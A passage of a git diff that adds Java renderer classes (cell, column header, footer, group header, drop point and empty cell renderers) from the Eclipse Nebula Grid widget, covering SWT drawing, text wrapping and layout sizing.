width) + { + x += (width - len) / 2; + } + } + + gc.drawString(text, getBounds().x + x, getBounds().y + textTopMargin + topMargin, true); + } + else + { + if (textLayout == null) + { + textLayout = new TextLayout(gc.getDevice()); + item.getParent().addDisposeListener(new DisposeListener() + { + public void widgetDisposed(DisposeEvent e) + { + textLayout.dispose(); + } + }); + } + textLayout.setFont(gc.getFont()); + textLayout.setText(item.getText(getColumn())); + textLayout.setAlignment(getAlignment()); + textLayout.setWidth(width < 1 ? 1 : width); + if (item.getParent().isAutoHeight()) + { + // Look through all columns (except this one) to get the max height needed for this item + int columnCount = item.getParent().getColumnCount(); + int maxHeight = textLayout.getBounds().height + textTopMargin + textBottomMargin; + for (int i=0; i 0) { + if (parent.indexOf(item) == parent.getItemCount() - 1) { + if (parent.getParentItem() == null && !grid.getRootItem(grid.getRootItemCount() - 1).equals(parent)) + branches[item.getLevel() - 1] = BranchRenderer.I; + else + branches[item.getLevel() - 1] = BranchRenderer.NONE; + } + else + branches[item.getLevel() - 1] = BranchRenderer.I; + item = parent; + parent = item.getParentItem(); + } + // item should be null at this point + return branches; + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + GridItem item = (GridItem)value; + + gc.setFont(item.getFont(getColumn())); + + int x = 0; + + x += leftMargin; + + if (isTree()) + { + x += getToggleIndent(item); + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) + { + x += checkRenderer.getBounds().width + insideMargin; + } + + int y = 0; + + Image image = item.getImage(getColumn()); + if (image != null) + { + y = topMargin + image.getBounds().height + bottomMargin; + + x += image.getBounds().width + insideMargin; + } + +// MOPR-DND +// MOPR: replaced this code (to get correct preferred height for cells in word-wrap columns) +// +// x += gc.stringExtent(item.getText(column)).x + rightMargin; +// +// y = Math.max(y,topMargin + gc.getFontMetrics().getHeight() + bottomMargin); +// +// with this code: + + int textHeight = 0; + if(!isWordWrap()) + { + x += gc.textExtent(item.getText(getColumn())).x + rightMargin; + + textHeight = topMargin + textTopMargin + gc.getFontMetrics().getHeight() + textBottomMargin + bottomMargin; + } + else + { + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin; + else + plainTextWidth = wHint - x - rightMargin; + + TextLayout currTextLayout = new TextLayout(gc.getDevice()); + currTextLayout.setFont(gc.getFont()); + currTextLayout.setText(item.getText(getColumn())); + currTextLayout.setAlignment(getAlignment()); + currTextLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + textHeight += topMargin + textTopMargin; + for(int cnt=0;cnt= x && point.x < (x + checkRenderer.getSize().x)) + { + int yStart = ((getBounds().height - checkRenderer.getBounds().height) / 2); + if (point.y >= yStart && point.y < yStart + checkRenderer.getSize().y) + { + return true; + } + } + + return false; + } + } + + private int getToggleIndent(GridItem item) + { + return item.getLevel() * treeIndent; + } + + private boolean overToggle(GridItem item, Point point) + { + + point = new Point(point.x, point.y); + + point.x -= getBounds().x - 1; + point.y -= getBounds().y - 1; + + int x = leftMargin; + x += getToggleIndent(item); + + if (point.x >= x && point.x < (x + toggleRenderer.getSize().x)) + { + // return true; + int yStart = ((getBounds().height - toggleRenderer.getBounds().height) / 2); + if (point.y >= yStart && point.y < yStart + toggleRenderer.getSize().y) + { + return true; + } + } + + return false; + } + + /** + * {@inheritDoc} + */ + public void setTree(boolean tree) + { + super.setTree(tree); + + if (tree) + { + toggleRenderer = new ToggleRenderer(); + toggleRenderer.setDisplay(getDisplay()); + + branchRenderer = new BranchRenderer(); + branchRenderer.setDisplay(getDisplay()); + } + } + + /** + * {@inheritDoc} + */ + public void setCheck(boolean check) + { + super.setCheck(check); + + if (check) + { + checkRenderer = new CheckBoxRenderer(); + checkRenderer.setDisplay(getDisplay()); + } + else + { + checkRenderer = null; + } + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(GridItem item, boolean preferred) + { + int x = leftMargin; + + if (isTree()) + { + x += getToggleIndent(item); + + x += toggleRenderer.getBounds().width + insideMargin; + + } + + if (isCheck()) + { + x += checkRenderer.getBounds().width + insideMargin; + } + + Image image = item.getImage(getColumn()); + if (image != null) + { + x += image.getBounds().width + insideMargin; + } + + Rectangle bounds = new Rectangle(x,topMargin + textTopMargin,0,0); + + GC gc = new GC(item.getParent()); + gc.setFont(item.getFont(getColumn())); + Point size = gc.stringExtent(item.getText(getColumn())); + + bounds.height = size.y; + + if (preferred) + { + bounds.width = size.x - 1; + } + else + { + bounds.width = getBounds().width - x - rightMargin; + } + + gc.dispose(); + + return bounds; + } + + private boolean isCenteredCheckBoxOnly(GridItem item) + { + return !isTree() && item.getImage(getColumn()) == null && item.getText(getColumn()).equals("") + && getAlignment() == SWT.CENTER; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnFooterRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnFooterRenderer.java new file mode 100644 index 0000000..8534c62 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnFooterRenderer.java @@ -0,0 +1,194 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Marty Jones - custom header/footer font in bug 293743 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridFooterRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; + +/** + * The column footer renderer. + * + * @author Tom Schindl - tom.schindl@bestsolution.at + * @since 2.0.0 + */ +public class DefaultColumnFooterRenderer extends GridFooterRenderer +{ + + int leftMargin = 6; + + int rightMargin = 6; + + int topMargin = 3; + + int bottomMargin = 3; + + int arrowMargin = 6; + + int imageSpacing = 3; + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + GridColumn column = (GridColumn)value; + + gc.setFont(column.getFooterFont()); + + int x = 0; + + x += leftMargin; + + x += gc.stringExtent(column.getText()).x + rightMargin; + + int y = 0; + + y += topMargin; + + y += gc.getFontMetrics().getHeight(); + + y += bottomMargin; + + if (column.getFooterImage() != null) + { + x += column.getFooterImage().getBounds().width + imageSpacing; + + y = Math.max(y, topMargin + column.getFooterImage().getBounds().height + bottomMargin); + } + + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + GridColumn column = (GridColumn)value; + + // set the font to be used to display the text. + gc.setFont(column.getFooterFont()); + + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND)); + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, + getBounds().height); + + gc.drawLine(getBounds().x, getBounds().y, getBounds().x + + getBounds().width, getBounds().y); + + int x = leftMargin; + + if (column.getFooterImage() != null) + { + gc.drawImage(column.getFooterImage(), getBounds().x + x, + getBounds().y + getBounds().height - bottomMargin - column.getFooterImage().getBounds().height); + x += column.getFooterImage().getBounds().width + imageSpacing; + } + + int width = getBounds().width - x; + + if (column.getSort() == SWT.NONE) + { + width -= rightMargin; + } + + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND)); + + int y = getBounds().y + getBounds().height - bottomMargin - gc.getFontMetrics().getHeight(); + + String text = TextUtils.getShortString(gc, column.getFooterText(), width); + + if (column.getAlignment() == SWT.RIGHT) + { + int len = gc.stringExtent(text).x; + if (len < width) + { + x += width - len; + } + } + else if (column.getAlignment() == SWT.CENTER) + { + int len = gc.stringExtent(text).x; + if (len < width) + { + x += (width - len) / 2; + } + } + + + gc.drawString(text, getBounds().x + x, + y,true); + + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) + { + return false; + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(Object value, boolean preferred) + { + GridColumn column = (GridColumn)value; + + int x = leftMargin; + + if (column.getImage() != null) + { + x += column.getImage().getBounds().width + imageSpacing; + } + + + + GC gc = new GC(column.getParent()); + gc.setFont(column.getFooterFont()); + int y = getBounds().height - bottomMargin - gc.getFontMetrics().getHeight(); + + Rectangle bounds = new Rectangle(x,y,0,0); + + Point p = gc.stringExtent(column.getText()); + + bounds.height = p.y; + + if (preferred) + { + bounds.width = p.x; + } + else + { + int width = getBounds().width - x; + if (column.getSort() == SWT.NONE) + { + width -= rightMargin; + } + + bounds.width = width; + } + + + gc.dispose(); + + return bounds; + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnGroupHeaderRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnGroupHeaderRenderer.java new file mode 100644 index 0000000..350ad7c --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnGroupHeaderRenderer.java @@ -0,0 +1,293 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Chuck.Mastrandrea@sas.com - wordwrapping in bug 222280 + * smcduff@hotmail.com - wordwrapping in bug 222280 + * Marty Jones - custom header/footer font in bug 293743 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.GridColumnGroup; +import org.eclipse.nebula.widgets.grid.GridHeaderRenderer; +import org.eclipse.nebula.widgets.grid.IInternalWidget; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.widgets.Display; +import org.eclipse.swt.widgets.Event; + +/** + * The column group header renderer in Grid. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultColumnGroupHeaderRenderer extends GridHeaderRenderer +{ + int leftMargin = 6; + + int rightMargin = 6; + + int topMargin = 3; + + int bottomMargin = 3; + + int imageSpacing = 3; + + private ExpandToggleRenderer toggleRenderer = new ExpandToggleRenderer(); + + private TextLayout textLayout; + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + GridColumnGroup group = (GridColumnGroup)value; + + // set the font to be used to display the text. + gc.setFont(group.getHeaderFont()); + + if (isSelected()) + { + gc.setBackground(group.getParent().getCellHeaderSelectionBackground()); + } + else + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + } + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width + 1, + getBounds().height + 1); + + int x = leftMargin; + + if (group.getImage() != null) + { + gc.drawImage(group.getImage(), getBounds().x + x, getBounds().y + topMargin); + x += group.getImage().getBounds().width + imageSpacing; + } + + int width = getBounds().width - x - rightMargin; + if ((group.getStyle() & SWT.TOGGLE) != 0) + { + width -= toggleRenderer.getSize().x; + } + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND)); + if (!isWordWrap()) + { + gc.drawString(TextUtils.getShortString(gc, group.getText(), width), getBounds().x + x, + getBounds().y + topMargin); + } + else + { + getTextLayout(gc, group); + textLayout.setWidth(width < 1 ? 1 : width); + textLayout.setText(group.getText()); + + if (group.getParent().isAutoHeight()) + { + group.getParent().recalculateHeader(); + } + + textLayout.draw(gc, getBounds().x + x, getBounds().y + topMargin); + } + + if ((group.getStyle() & SWT.TOGGLE) != 0) + { + toggleRenderer.setHover(isHover() && getHoverDetail().equals("toggle")); + toggleRenderer.setExpanded(group.getExpanded()); + toggleRenderer.setBounds(getToggleBounds()); + toggleRenderer.paint(gc, null); + } + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height - 1, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + GridColumnGroup group = (GridColumnGroup)value; + + gc.setFont(group.getHeaderFont()); + + int x = leftMargin; + int y = topMargin + gc.getFontMetrics().getHeight() + bottomMargin; + + + if (group.getImage() != null) + { + x += group.getImage().getBounds().width + imageSpacing; + + y = Math.max(y, topMargin + group.getImage().getBounds().height + bottomMargin); + } + + if (!isWordWrap()) + { + x += gc.stringExtent(group.getText()).x + rightMargin; + } + else + { + int toggleWidth = 0; + if ((group.getStyle() & SWT.TOGGLE) != 0) + toggleWidth = toggleRenderer.getSize().x; + + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin - toggleWidth; + else + plainTextWidth = wHint - x - rightMargin - toggleWidth; + + getTextLayout(gc, group); + textLayout.setText(group.getText()); + textLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + int textHeight = topMargin; + textHeight += textLayout.getBounds().height; + textHeight += bottomMargin; + + y = Math.max(y, textHeight); + } + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) + { + GridColumnGroup group = (GridColumnGroup)value; + + if ((group.getStyle() & SWT.TOGGLE) != 0) + { + if (event == IInternalWidget.LeftMouseButtonDown) + { + if (getToggleBounds().contains(point)) + { + group.setExpanded(!group.getExpanded()); + + if (group.getExpanded()) + { + group.notifyListeners(SWT.Expand,new Event()); + } + else + { + group.notifyListeners(SWT.Collapse,new Event()); + } + return true; + } + } + else + { + if (getToggleBounds().contains(point)) + { + setHoverDetail("toggle"); + return true; + } + } + } + + return false; + } + + /** + * {@inheritDoc} + */ + public Rectangle getToggleBounds() + { + int x = getBounds().x + getBounds().width - toggleRenderer.getBounds().width - rightMargin; + int y = getBounds().y + (getBounds().height - toggleRenderer.getBounds().height) / 2; + + return new Rectangle(x, y, toggleRenderer.getBounds().width, + toggleRenderer.getBounds().height); + } + + /** + * {@inheritDoc} + */ + public void setDisplay(Display display) + { + super.setDisplay(display); + toggleRenderer.setDisplay(display); + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(Object value, boolean preferred) + { + GridColumnGroup group = (GridColumnGroup)value; + + int x = leftMargin; + + if (group.getImage() != null) + { + x += group.getImage().getBounds().width + imageSpacing; + } + + Rectangle bounds = new Rectangle(x, topMargin, 0, 0); + + GC gc = new GC(group.getParent()); + gc.setFont(group.getHeaderFont()); + + Point p = gc.stringExtent(group.getText()); + + bounds.height = p.y; + + if (preferred) + { + bounds.width = p.x; + } + else + { + int width = getBounds().width - x - rightMargin; + if ((group.getStyle() & SWT.TOGGLE) != 0) + { + width -= toggleRenderer.getSize().x; + } + bounds.width = width; + } + + gc.dispose(); + return bounds; + } + + private void getTextLayout(GC gc, GridColumnGroup group) + { + if (textLayout == null) + { + textLayout = new TextLayout(gc.getDevice()); + textLayout.setFont(gc.getFont()); + group.getParent().addDisposeListener(new DisposeListener() + { + public void widgetDisposed(DisposeEvent e) + { + textLayout.dispose(); + } + }); + } + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnHeaderRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnHeaderRenderer.java new file mode 100644 index 0000000..32d188e --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultColumnHeaderRenderer.java @@ -0,0 +1,422 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + * Chuck.Mastrandrea@sas.com - wordwrapping in bug 222280 + * smcduff@hotmail.com - wordwrapping in bug 222280 + * Marty Jones - custom header/footer font in bug 293743 + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.GridColumn; +import org.eclipse.nebula.widgets.grid.GridHeaderRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.events.DisposeEvent; +import org.eclipse.swt.events.DisposeListener; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; +import org.eclipse.swt.graphics.Rectangle; +import org.eclipse.swt.graphics.TextLayout; +import org.eclipse.swt.widgets.Display; + +/** + * The column header renderer. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultColumnHeaderRenderer extends GridHeaderRenderer +{ + + int leftMargin = 6; + + int rightMargin = 6; + + int topMargin = 3; + + int bottomMargin = 3; + + int arrowMargin = 6; + + int imageSpacing = 3; + + private SortArrowRenderer arrowRenderer = new SortArrowRenderer(); + + private TextLayout textLayout; + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + GridColumn column = (GridColumn)value; + + gc.setFont(column.getHeaderFont()); + + int x = leftMargin; + int y = topMargin + gc.getFontMetrics().getHeight() + bottomMargin; + + + if (column.getImage() != null) + { + x += column.getImage().getBounds().width + imageSpacing; + + y = Math.max(y, topMargin + column.getImage().getBounds().height + bottomMargin); + } + if (!isWordWrap()) + { + x += gc.stringExtent(column.getText()).x + rightMargin; + } + else + { + int plainTextWidth; + if (wHint == SWT.DEFAULT) + plainTextWidth = getBounds().width - x - rightMargin; + else + plainTextWidth = wHint - x - rightMargin; + + getTextLayout(gc, column); + textLayout.setText(column.getText()); + textLayout.setWidth(plainTextWidth < 1 ? 1 : plainTextWidth); + + x += plainTextWidth + rightMargin; + + int textHeight = topMargin; + textHeight += textLayout.getBounds().height; + textHeight += bottomMargin; + + y = Math.max(y, textHeight); + } + + + y += computeControlSize(column).y; + + return new Point(x, y); + } + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + GridColumn column = (GridColumn)value; + + // set the font to be used to display the text. + gc.setFont(column.getHeaderFont()); + + boolean flat = (column.getParent().getCellSelectionEnabled() && !column.getMoveable()); + + boolean drawSelected = ((isMouseDown() && isHover())); + + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_BACKGROUND)); + + if (flat && isSelected()) + { + gc.setBackground(column.getParent().getCellHeaderSelectionBackground()); + } + + gc.fillRectangle(getBounds().x, getBounds().y, getBounds().width, + getBounds().height); + + int pushedDrawingOffset = 0; + if (drawSelected) + { + pushedDrawingOffset = 1; + } + + int x = leftMargin; + + if (column.getImage() != null) + { + int y = bottomMargin; + + if( column.getHeaderControl() == null ) { + y = getBounds().y + pushedDrawingOffset + getBounds().height - bottomMargin - column.getImage().getBounds().height; + } + + gc.drawImage(column.getImage(), getBounds().x + x + pushedDrawingOffset, y); + x += column.getImage().getBounds().width + imageSpacing; + } + + int width = getBounds().width - x; + + if (column.getSort() == SWT.NONE) + { + width -= rightMargin; + } + else + { + width -= arrowMargin + arrowRenderer.getSize().x + arrowMargin; + } + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND)); + + int y = bottomMargin; + + if( column.getHeaderControl() == null ) { + y = getBounds().y + getBounds().height - bottomMargin + - gc.getFontMetrics().getHeight(); + } else { + y = getBounds().y + getBounds().height - bottomMargin - gc.getFontMetrics().getHeight() - computeControlSize(column).y; + } + + String text = column.getText(); + + if (!isWordWrap()) + { + text = TextUtils.getShortString(gc, text, width); + //y -= gc.getFontMetrics().getHeight(); + } + + if (column.getAlignment() == SWT.RIGHT) + { + int len = gc.stringExtent(text).x; + if (len < width) + { + x += width - len; + } + } + else if (column.getAlignment() == SWT.CENTER) + { + int len = gc.stringExtent(text).x; + if (len < width) + { + x += (width - len) / 2; + } + } + + + if (!isWordWrap()) { + gc.drawString(text, getBounds().x + x + pushedDrawingOffset, + y + pushedDrawingOffset,true); + } + else + { + getTextLayout(gc, column); + textLayout.setWidth(width < 1 ? 1 : width); + textLayout.setText(text); + y -= textLayout.getBounds().height; + + if (column.getParent().isAutoHeight()) + { + column.getParent().recalculateHeader(); + } + + textLayout.draw(gc, getBounds().x + x + pushedDrawingOffset, y + pushedDrawingOffset); + } + + if (column.getSort() != SWT.NONE) + { + if( column.getHeaderControl() == null ) { + y = getBounds().y + + ((getBounds().height - arrowRenderer.getBounds().height) / 2) + + 1; + } else { + y = getBounds().y + + ((getBounds().height - computeControlSize(column).y - arrowRenderer.getBounds().height) / 2) + + 1; + } + + arrowRenderer.setSelected(column.getSort() == SWT.UP); + if (drawSelected) + { + arrowRenderer + .setLocation( + getBounds().x + getBounds().width - arrowMargin + - arrowRenderer.getBounds().width + 1,y + ); + } + else + { + if( column.getHeaderControl() == null ) { + y = getBounds().y + + ((getBounds().height - arrowRenderer.getBounds().height) / 2); + } else { + y = getBounds().y + + ((getBounds().height - computeControlSize(column).y - arrowRenderer.getBounds().height) / 2); + } + arrowRenderer + .setLocation( + getBounds().x + getBounds().width - arrowMargin + - arrowRenderer.getBounds().width,y); + } + arrowRenderer.paint(gc, null); + } + + if (!flat) + { + + if (drawSelected) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + } + else + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_HIGHLIGHT_SHADOW)); + } + + gc.drawLine(getBounds().x, getBounds().y, getBounds().x + getBounds().width - 1, + getBounds().y); + gc.drawLine(getBounds().x, getBounds().y, getBounds().x, getBounds().y + getBounds().height + - 1); + + if (!drawSelected) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_LIGHT_SHADOW)); + gc.drawLine(getBounds().x + 1, getBounds().y + 1, + getBounds().x + getBounds().width - 2, getBounds().y + 1); + gc.drawLine(getBounds().x + 1, getBounds().y + 1, getBounds().x + 1, + getBounds().y + getBounds().height - 2); + } + + if (drawSelected) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + } + else + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + } + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height - 1, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + + if (!drawSelected) + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + gc.drawLine(getBounds().x + getBounds().width - 2, getBounds().y + 1, + getBounds().x + getBounds().width - 2, getBounds().y + getBounds().height + - 2); + gc.drawLine(getBounds().x + 1, getBounds().y + getBounds().height - 2, + getBounds().x + getBounds().width - 2, getBounds().y + getBounds().height + - 2); + } + + } + else + { + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_DARK_SHADOW)); + + gc.drawLine(getBounds().x + getBounds().width - 1, getBounds().y, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + gc.drawLine(getBounds().x, getBounds().y + getBounds().height - 1, getBounds().x + + getBounds().width - 1, + getBounds().y + getBounds().height - 1); + } + + + } + + /** + * {@inheritDoc} + */ + public void setDisplay(Display display) + { + super.setDisplay(display); + arrowRenderer.setDisplay(display); + } + + /** + * {@inheritDoc} + */ + public boolean notify(int event, Point point, Object value) + { + return false; + } + + /** + * {@inheritDoc} + */ + public Rectangle getTextBounds(Object value, boolean preferred) + { + GridColumn column = (GridColumn)value; + + int x = leftMargin; + + if (column.getImage() != null) + { + x += column.getImage().getBounds().width + imageSpacing; + } + + + + GC gc = new GC(column.getParent()); + gc.setFont(column.getParent().getFont()); + int y = getBounds().height - bottomMargin - gc.getFontMetrics().getHeight(); + + Rectangle bounds = new Rectangle(x,y,0,0); + + Point p = gc.stringExtent(column.getText()); + + bounds.height = p.y; + + if (preferred) + { + bounds.width = p.x; + } + else + { + int width = getBounds().width - x; + if (column.getSort() == SWT.NONE) + { + width -= rightMargin; + } + else + { + width -= arrowMargin + arrowRenderer.getSize().x + arrowMargin; + } + bounds.width = width; + } + + + gc.dispose(); + + return bounds; + } + + /** + * @return the bounds reserved for the control + */ + protected Rectangle getControlBounds(Object value, boolean preferred) { + Rectangle bounds = getBounds(); + GridColumn column = (GridColumn) value; + Point controlSize = computeControlSize(column); + + int y = getBounds().y + getBounds().height - bottomMargin - controlSize.y; + + return new Rectangle(bounds.x+3,y,bounds.width-6,controlSize.y); + } + + private Point computeControlSize(GridColumn column) { + if( column.getHeaderControl() != null ) { + return column.getHeaderControl().computeSize(SWT.DEFAULT, SWT.DEFAULT); + } + return new Point(0,0); + } + + private void getTextLayout(GC gc, GridColumn column) + { + if (textLayout == null) + { + textLayout = new TextLayout(gc.getDevice()); + textLayout.setFont(gc.getFont()); + column.getParent().addDisposeListener(new DisposeListener() + { + public void widgetDisposed(DisposeEvent e) + { + textLayout.dispose(); + } + }); + } + textLayout.setAlignment(column.getAlignment()); + } +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultDropPointRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultDropPointRenderer.java new file mode 100644 index 0000000..6344f50 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultDropPointRenderer.java @@ -0,0 +1,60 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.AbstractRenderer; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * A renderer which displays the drop point location affordance when dragging columns. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultDropPointRenderer extends AbstractRenderer +{ + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + gc.setBackground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_FOREGROUND)); + + gc.fillPolygon(new int[] {getBounds().x + 0, getBounds().y + 4, getBounds().x + 4, + getBounds().y + 0, getBounds().x + 8, getBounds().y + 4, + getBounds().x + 7, getBounds().y + 5, getBounds().x + 6, + getBounds().y + 5, getBounds().x + 4, getBounds().y + 3, + getBounds().x + 2, getBounds().y + 5, getBounds().x + 1, + getBounds().y + 5 }); + + gc.setForeground(getDisplay().getSystemColor(SWT.COLOR_WIDGET_NORMAL_SHADOW)); + + gc.drawPolyline(new int[] {getBounds().x + 0, getBounds().y + 4, getBounds().x + 4, + getBounds().y + 0, getBounds().x + 8, getBounds().y + 4, + getBounds().x + 7, getBounds().y + 5, getBounds().x + 6, + getBounds().y + 5, getBounds().x + 4, getBounds().y + 3, + getBounds().x + 2, getBounds().y + 5, getBounds().x + 1, + getBounds().y + 5 }); + + } + + /** + * {@inheritDoc} + */ + public Point computeSize(GC gc, int wHint, int hHint, Object value) + { + return new Point(9, 7); + } + +} diff --git a/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyCellRenderer.java b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyCellRenderer.java new file mode 100644 index 0000000..2a20431 --- /dev/null +++ b/base_plugins/org.eclipse.nebula.widgets.grid/src/org/eclipse/nebula/widgets/grid/internal/DefaultEmptyCellRenderer.java @@ -0,0 +1,99 @@ +/******************************************************************************* + * Copyright (c) 2006 IBM Corporation and others. + * All rights reserved. This program and the accompanying materials + * are made available under the terms of the Eclipse Public License v1.0 + * which accompanies this distribution, and is available at + * http://www.eclipse.org/legal/epl-v10.html + * + * Contributors: + * chris.gross@us.ibm.com - initial API and implementation + *******************************************************************************/ +package org.eclipse.nebula.widgets.grid.internal; + +import org.eclipse.nebula.widgets.grid.Grid; +import org.eclipse.nebula.widgets.grid.GridCellRenderer; +import org.eclipse.nebula.widgets.grid.GridItem; +import org.eclipse.swt.SWT; +import org.eclipse.swt.graphics.GC; +import org.eclipse.swt.graphics.Point; + +/** + * The empty cell renderer. + * + * @author chris.gross@us.ibm.com + * @since 2.0.0 + */ +public class DefaultEmptyCellRenderer extends GridCellRenderer +{ + + /** + * {@inheritDoc} + */ + public void paint(GC gc, Object value) + { + + Grid table = null; + if (value instanceof Grid) + table = (Grid)value; + + GridItem item; + if (value instanceof GridItem) + { + item = (GridItem)value; + table = item.getParent(); + } + + 